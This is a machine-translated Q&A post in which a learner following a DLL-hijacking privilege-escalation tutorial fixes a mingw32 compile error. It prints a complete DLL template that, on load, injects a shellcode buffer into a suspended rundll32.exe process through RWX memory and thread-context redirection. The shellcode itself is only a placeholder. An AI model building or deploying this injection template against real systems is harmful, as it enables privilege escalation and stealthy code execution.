2016-04-23 17 views
1

をコンパイルしながら、私はステップバイステップにヴィヴェックによって作られたこのビデオを行く、DLLハイジャックについて学んだ - Privilege Escalation using DLL Hijacking権限昇格 - エラー「template.cを」

すべてが非常によく説明しているが、一つはそこにあります困ったことになっている通路。それはKali Linux上でmingw32を使って "template.c"をコンパイルすることです。私はビデオに記載されているように同じことをやっているときは、意味:

[email protected]:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll -shared

を、私はまだ、このエラーを取得しています:ここで

/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to `inline_bzero' collect2: error: ld returned 1 exit status

は「template.cを」

のソースコードです
#include <windows.h> 
#include "template.h" 

#if BUILDMODE == 2 
/* hand-rolled bzero allows us to avoid including ms vc runtime */ 
void inline_bzero(void *p, size_t l) 
{ 

      BYTE *q = (BYTE *)p; 
      size_t x = 0; 
      for (x = 0; x < l; x++) 
        *(q++) = 0x00; 
} 

#endif 


void ExecutePayload(void); 

BOOL WINAPI 
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) 
{ 
    switch (dwReason) 
    { 
     case DLL_PROCESS_ATTACH: 
      ExecutePayload(); 
      break; 

     case DLL_PROCESS_DETACH: 
      // Code to run when the DLL is freed 
      break; 

     case DLL_THREAD_ATTACH: 
      // Code to run when a thread is created during the DLL's lifetime 
      break; 

     case DLL_THREAD_DETACH: 
      // Code to run when a thread ends normally. 
      break; 
    } 
    return TRUE; 
} 

void ExecutePayload(void) { 
    int error; 
    PROCESS_INFORMATION pi; 
    STARTUPINFO si; 
    CONTEXT ctx; 
    DWORD prot; 
    LPVOID ep; 

    // Start up the payload in a new process 
    inline_bzero(&si, sizeof(si)); 
    si.cb = sizeof(si); 

    // Create a suspended process, write shellcode into stack, make stack RWX, resume it 
    if(CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) { 
     ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; 
     GetThreadContext(pi.hThread, &ctx); 

     ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 

     WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); 

#ifdef _WIN64 
     ctx.Rip = (DWORD64)ep; 
#else 
     ctx.Eip = (DWORD)ep; 
#endif 

     SetThreadContext(pi.hThread,&ctx); 

     ResumeThread(pi.hThread); 
     CloseHandle(pi.hThread); 
     CloseHandle(pi.hProcess); 
    } 
    // ExitProcess(0); 
    ExitThread(0); 
} 

/* 
typedef VOID 
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle, 
    ULONG Reason, 
    PVOID Reserved 
    ); 

VOID NTAPI TlsCallback(
     IN PVOID DllHandle, 
     IN ULONG Reason, 
     IN PVOID Reserved) 
{ 
    __asm ("int3"); 
} 

ULONG _tls_index; 
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL }; 
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 }; 
*/ 

必要に応じて、 "template.h"。解決

#define SCSIZE 2048 
unsigned char code[SCSIZE] = "PAYLOAD:"; 

「#if BUILDMODE == 2」と「#endif」行を削除するだけで、コンパイルは正常に完了します。

+1

これは質問のように聞こえます。 – Daisetsu

+0

コードを投稿したいと思うかもしれません。最初の一見では、あなたが参照するが、定義していないinline_bzeroという関数があるようです。 – Daisetsu

+0

答えが無ければ、私はstackoverflowを試みます。セキュリティとはまだ関係があります。 Btw、ポイントありがとう、ソースコードが追加されました。私は忘れる。 – Yeez

答えて

0

#if BUILDMODE == 2#endif行を削除して、コンパイルが正常に完了しました。

関連する問題